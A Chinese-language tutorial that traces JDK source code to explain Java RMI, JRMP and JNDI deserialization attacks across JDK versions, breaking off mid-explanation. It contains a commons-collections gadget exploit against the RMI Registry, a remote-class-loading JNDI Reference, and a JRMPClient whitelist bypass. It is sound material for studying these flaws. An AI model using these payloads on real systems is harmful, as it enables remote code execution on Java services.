前段时间,发了一篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,以概念和例子,粗略的讲解了什么是RMI,什么是JRMP、以及什么是JNDI,本来,我的初衷是为了照顾初学者,还有没多少Java基础的学习者,让他们能初步了解RMI\JRMP\JNDI,而不被很多讲得不清不楚的文章搞得迷迷糊糊,浪费了大量的时间。
但是,最近我发现,虽说文章大部分人也看懂了,而有小部分准备深入研究Java安全的人,对于稍微深入一点的部分会有点迷惑,因此,我准备新开这篇文章,以简单的源码浅析,去把它搞清楚。
在阅读这篇文章之前,我希望你能简单的看看这篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,先搞清楚什么是RMI、JRMP、JNDI,以及什么是RMI Registry等等概念。
在文章内容开始之前,先做一个高度的总结,貌似会比较友好,而后面的文章内容,将会以这个顺序去慢慢讲解:
最早的最早,从分布式概念出现以后,工程师们,制造了一种,基于Java语言的远程方法调用的东西,它叫RMI(Remote Method Invocation),我们使用Java代码,可以利用这种技术,去跨越JVM,调用另一个JVM的类方法。
而在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。
调用者,我们称之为客户端,被调用者,我们则称之为服务端。
RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需一行代码即可完成。
创建RMI Registry服务:
LocateRegistry.createRegistry(1099);
这就是,创建RMI Registry服务的代码,在创建RMI Registry服务之后,我们就能像前面所说一样,服务端通过与RMI Registry建立的TCP连接,注册一个可被远程调用的类进去,然后客户端,从RMI Registry服务获取到服务端注册类的信息,从而与服务端建立TCP连接,完成远程方法调用(RMI)。但这里有一个必须要注意的地方,当你使用独立JVM去部署RMI Registry的时候,必须把被调用类实现的接口,也要放在RMI Registry类加载器能加载的地方。类似下面所说的nterface HelloService
服务端注册服务类到RMI Registry:
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello() {
System.out.println("hello!");
return "hello!";
}
}
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.getRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
}
}
}
客户端获取注册类信息,并调用:
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class RMIClient {
public static void main(String[] args) {
try {
HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
System.out.println(helloService.sayHello());;
} catch (RemoteException | NotBoundException e) {
e.printStackTrace();
}
}
}
这里说明一下,当执行Registry registry = LocateRegistry.createRegistry(1099);
的时候,返回的registry对象类是sun.rmi.registry.RegistryImpl,其内部的ref,也就是sun.rmi.server.UnicastServerRef,持有sun.rmi.registry.RegistryImpl_Skel类型的对象变量ref。
而服务端以及客户端,执行Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
返回的是sun.rmi.registry.RegistryImpl_Stub。
当服务端对实现了HelloService接口并继承了UnicastRemoteObject类的HelloServiceImpl实例化时,在其父类UnicastRemoteObject中,会对当前对象进行导出,返回一个当前对象的stub,也就是HelloService_stub,在其执行registry.bind("hello", helloService);
的时候,会把这个stub对象,发送到RMI Registry存根。
当客户端执行HelloService helloService = (HelloService) registry.lookup("hello")
的时候,就会从RMI Registry获取到服务端存进去的stub。
接着客户端就可以通过stub对象,对服务端发起一个远程方法调用helloService.sayHello()
,stub对象,存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,对开发者完全透明。
接下来,开始从小于jdk8u121版本的jdk8u112版本进行分析。
前面也描述的很清楚了,RMI Registry的创建,从LocateRegistry.createRegistry(1099);
开始,这个方法执行以后,就会创建一个监听1099端口的ServerSocket,当RMI服务端执行bind的时候,会发送stub的序列化数据过来,最后在RMI Registry的sun.rmi.registry.RegistryImpl_Skel#dispatch方法被处理。
整个执行栈是这样的:
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1640924712 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
而在这个dispatch方法中,我们可以清晰的看到,对序列化数据进行了反序列化操作
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}
可以看到,根据传输过来的数据头,一共分为了0、1、2、3、4五个case处理逻辑,那么,我们看看服务端在执行bind方法注册服务类到RMI Registry的时候,到底传过来的是case多少。
代码位于sun.rmi.registry.RegistryImpl_Stub#bind
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}
可以看到RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
第三个参数,也就是0,并且在其后向RMI Registry写了两个序列化对象数据。
接着回到RMI Registry,我们可以看到,对于case=0的时候,毫无疑问,对RMI服务端bind时发过来的序列化数据进行了反序列化,也就是说,通过RMI服务端执行bind,我们就可以攻击RMI Registry注册中心,导致其反序列化RCE。
接下来,我们进一步分析RMI客户端lookup的时候,具体做了什么操作。
通过debug,可以看到,RMI客户端执行lookup部分代码位于sun.rmi.registry.RegistryImpl_Stub#lookup
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
跟RMI服务端bind一样,此处也执行了RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
,不过第三个参数为2,也就是说RMI Registry会执行其case=2的操作。
接着,在lookup中var3.writeObject(var1);
对参数var1对象进行了序列化发送至RMI Registry,然后对RMI Registry的返回数据进行了反序列化var23 = (Remote)var6.readObject();
,也就是说,lookup方法,理论上,我们可以在客户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端,只不过lookup发送的序列化数据似乎只能发送String类型,但是,我们完全可以在debug的情况下,控制发送其它类型的序列化数据,达到攻击RMI Registry的效果。
前面,我们已经搞明白了两个目标的攻击方法:
但是,还有一个目标,也就是RMI服务端,我们可以怎么样去攻击呢?
既然,前面已经说过,客户端与服务端之间的交流都被封装在从RMI Registry获取到的stub中,那么,我们就对探究探究。
在对lookup后返回客户端的HelloService进行debug后发现,它是一个Java的动态代理对象,真正的逻辑由RemoteObjectInvocationHandler执行,下面是它的部分执行栈:
invoke:152, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
sayHello:-1, $Proxy0 (com.sun.proxy)
main:18, RMIClient (com.threedr3am.bug.rmi.client)
在UnicastRef的invoke方法中,我们可以发现,对于远程调用的传参,客户端会把参数进行序列化后传到服务端,代码位于sun.rmi.server.UnicastRef#marshalValue
而对于远程调用,客户端会把服务端的返回结果进行反序列化,代码位于sun.rmi.server.UnicastRef#unmarshalValue
也就是说,在这个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端,而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。
那么,到这里,我相信,大家应该都搞清楚了,每个目标的攻击原理了。这里友情提醒,刚刚你们也看到了,在你攻击对方的时候,如果这是一个陷阱,说不定,反过来你就被人getshell了。
但是,有个问题,既然是反序列化攻击,那么,我们必须得找到能使用的gadget吧?如果没有gadget,那就谈不上反序列化RCE了吧?
没错,反序列化RCE下gadget的确很重要,若是没有gadget的依赖,那么基本就是束手无决了,像前面所说的,三个目标的攻击,我们都可以利用gadget,构造恶意的序列化数据达到反序列化攻击RCE。
但是这里就要讲讲Reference对象,在特殊情况下,可以不需要gadget依赖的存在,亦或者说Reference也是一个gadget。
当我们通过这种方式,使用服务端bind注册一个Reference对象到RMI Registry的时候:
Registry registry = LocateRegistry.getRegistry(1099);
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);
Reference构造方法参数:
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
当我们在客户端,执行这样的代码,去lookup RMI Registry的时候
new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");
其执行栈大致如下:
getObjectInstance:296, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:22, RMIClient (com.threedr3am.bug.rmi.client)
然后,我们看到NamingManager的getObjectInstance方法代码:
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
接着,执行到javax.naming.spi.NamingManager#getObjectFactoryFromReference方法:
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
最后,会通过这一行代码clas = helper.loadClass(factoryName, codebase);
完成对远程class的读取加载,其中factoryName为我们服务端bind服务时传的Reference的Calc值,而codebase则是http://localhost/,就这样,我们就可以让客户端在lookup的时候,无需其他gadget,直接让其加载远程恶意class,达到RCE。
在jdk8u121的时候,加入了反序列化白名单的机制,导致了几乎全部gadget都不能被反序列化了,究竟有哪些类被列入白名单呢?我们一探究竟
那,我们直接bind一个恶意gadget到RMI Registry看看吧
/**
* RMI服务端攻击RMI Registry
*
* 需要服务端和注册中心都存在此依赖 org.apache.commons:commons-collections4:4.0
*
* @author threedr3am
*/
public class AttackRMIRegistry {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("threedr3am", makePayload(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})), Remote.class);
registry.bind("hello", remote);
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
private static Object makePayload(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(args[0]);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
}
执行后会发现,RMI Registry输出了ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 6, depth: 2, bytes: 285, ex: n/a
,明显就是被过滤了,这个gadget。
跟踪ObjectInputStream的反序列化,过滤gadget大概位置在
registryFilter:389, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1345636186 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1228, ObjectInputStream (java.io)
readProxyDesc:1771, ObjectInputStream (java.io)
readClassDesc:1710, ObjectInputStream (java.io)
readOrdinaryObject:1986, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
跟进RegistryImpl的registryFilter方法
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
可以看到,最后的白名单判断:
看到这个白名单,也就是说,几乎全部gadget基本都凉了。
这时候,我们看向ysoserial,它有一个payload是ysoserial.payloads.JRMPClient,我们看看它payload的内容
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
但是,可惜的是RemoteObjectInvocationHandler不在白名单内,那怎么办呢?有大佬发现,其实只要做一点点修改,就能打了,重点在UnicastRef这个类中
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
修改后的payload只有三行代码,但是UnicastRef恰恰就在白名单内。
那么,这个payload到底做了什么事情呢?这时候,我们可以跟到客户端和服务端执行的LocateRegistry.getRegistry("127.0.0.1", 1099);
源码中
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null);
}
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT;
if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}
/*
* Create a proxy for the registry with the given host, port, and
* client socket factory. If the supplied client socket factory is
* null, then the ref type is a UnicastRef, otherwise the ref type
* is a UnicastRef2. If the property
* java.rmi.server.ignoreStubClasses is true, then the proxy
* returned is an instance of a dynamic proxy class that implements
* the Registry interface; otherwise the proxy returned is an
* instance of the pregenerated stub class for RegistryImpl.
**/
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
可以很清楚的看到,这个方法执行最后返回的Registry,跟这个payload三行代码是一样的,而LocateRegistry.getRegistry("127.0.0.1", 1099);
这行代码的意思,就是跟RMI Registry建立连接,那么这三行代码的意义就无疑了。
而既然这是一个gadget,那么反序列化的时候如何去触发呢?我们看看UnicastRef
public class UnicastRef implements RemoteRef
public interface RemoteRef extends java.io.Externalizable
可以看到,它间接的实现了Externalizable接口,熟悉的人就会知道,在其反序列化的时候会触发readExternal
方法的执行,类似readObject
而在这个payload中,我们可以把host和port指定RMI Registry,然后跟踪其执行栈,可以发现RMI Registry执行栈如下:
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
其源码:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch(var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}
var6.clean(var7, var8, var39, var40);
try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}
Lease var11 = var6.dirty(var7, var8, var10);
try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}
在debug中,我们可以发现第三个参数为1,也就是说,其中sun.rmi.transport.DGCImpl_Skel#dispatch的代码,会执行到case=1的部分,可以看到,其中做了writeObject,那么,也就是说这三行payload的反序列化,会与RMI Registry连接上,执行分布式的GC,并且RMI Registry会发送序列化数据给连接发起者,最终造成反序列化,而反序列化部分代码,我们这里简单的跟一下吧。
其执行栈大概如下:
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readExternalData:2062, ObjectInputStream (java.io)
readOrdinaryObject:2011, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:27, Deserializer (ysoserial)
deserialize:22, Deserializer (ysoserial)
run:60, PayloadRunner (ysoserial.payloads.util)
main:84, JRMPClient1 (ysoserial.payloads)
跟进DGCImpl_Stub的dirty方法,可以看到:
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
super.ref.invoke(var5);
Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}
return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}
其中,的确对返回数据进行了反序列化,也就是说,在jdk8u121之后,可以通过UnicastRef这个在RMI反序列化白名单内的gadget进行攻击。
因此,我们可以通过这个payload绕过RMI反序列化白名单限制,虽然,白名单是绕过了,但是还是存在gadget依赖问题,如果没有相应的gadget依赖,我们也没办法达到RCE。
不过,这里可以总结一下了:ysoserial的JRMPClient payload是为了绕过jdk8u121后出现的白名单限制。
说完需要gadget依赖的打法限制问题了,那么我们再来看看前面所讲的使用JNDI攻击执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")
的客户端。
在jdk8u121之后,对于Reference加载远程代码,jdk的信任机制,在通过rmi加载远程代码的时候,会判断环境变量com.sun.jndi.rmi.object.trustURLCodebase
是否为true,而其在121版本及后,默认为false,也就是说,在jdk8u121之后,我们就没办法通过rmi服务的JNDI方式打客户端了,那么,有没有其他办法呢?
有,使用ldap协议的JNDI,具体怎么搭这样的一个服务这里就不讲了,marshalsec也有现成的,我们这里只试试对客户端的攻击,并看看客户端做了什么事情吧。
大概触发RCE的执行栈是这样的:
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:17, JndiAttackLookup (com.threedr3am.bug.rmi.client)
在里面,我并没有找到相关类似远程代码信任机制的东西,也就是说,通过ldap协议的jndi服务方式,在jdk8u121后,能攻击执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")
的客户端
为什么继续讲jdk8u191呢,因为在jdk8u191之后,加入LDAP远程Reference代码信任机制,LDAP远程代码攻击方式开始失效,也就是系统变量com.sun.jndi.ldap.object.trustURLCodebase
默认为false(CVE-2018-3149)
既然不能去Reference加载远程代码执行了,那么,是不是能不用Reference去加载呢?
对,还有一种方式,看执行栈:
deserializeObject:527, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:42, JndiAttackLookup (com.threedr3am.bug.rmi.client)
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}
也就是,可以通过修改ldap服务的对象返回内容,达到反序列化攻击
为什么呢,看上一层
